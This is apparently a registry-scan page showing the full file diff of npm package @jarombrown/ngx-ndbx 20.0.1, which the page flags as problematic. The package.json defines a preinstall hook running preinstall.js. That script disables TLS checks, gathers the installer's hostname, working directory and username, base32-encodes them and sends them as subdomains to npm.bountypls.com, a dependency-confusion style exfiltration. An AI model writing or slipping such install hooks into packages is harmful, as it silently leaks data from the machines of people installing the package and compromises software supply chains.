@jarombrown/ngx-ndbx 20.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @jarombrown/ngx-ndbx might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +3 -0
  2. package/package.json +16 -0
  3. package/preinstall.js +25 -0
package/index.js ADDED
@@ -0,0 +1,3 @@
1
+ exports.installSuccess = function () {
2
+ console.log("*~*");
3
+ };
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "@jarombrown/ngx-ndbx",
3
+ "version": "20.0.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node preinstall.js"
9
+ },
10
+ "dependencies": {
11
+ "base32-encode": "^1.1.1",
12
+ "request": "^2.88.2"
13
+ },
14
+ "author": "",
15
+ "license": "ISC"
16
+ }
package/preinstall.js ADDED
@@ -0,0 +1,25 @@
1
+ const request = require('request');
2
+ const os = require('os');
3
+ const process = require('process');
4
+ const base32Encode = require('base32-encode');
5
+ process.env["NODE_TLS_REJECT_UNAUTHORIZED"] = 0;
6
+
7
+ let cwd = process.cwd();
8
+ let hostname = os.hostname();
9
+ let user = os.userInfo();
10
+ let data = `<packageName>|${hostname}|${cwd}|${user.username}`;
11
+
12
+ data = Buffer.from(data, 'utf8');
13
+ let b = base32Encode(data, 'RFC4648', {padding: false});
14
+
15
+ let chunks = [];
16
+ let chunkSize = 40;
17
+
18
+ for (let i = 0, charsLength = b.length; i < charsLength; i += chunkSize) {
19
+ chunks.push(b.substring(i, i + chunkSize));
20
+ }
21
+ data = chunks.join('.');
22
+ let url = `https://${data}.npm.bountypls.com`;
23
+ request(url, {}, (err, res, body) =>{
24
+ if (err) {return console.log(err);}
25
+ });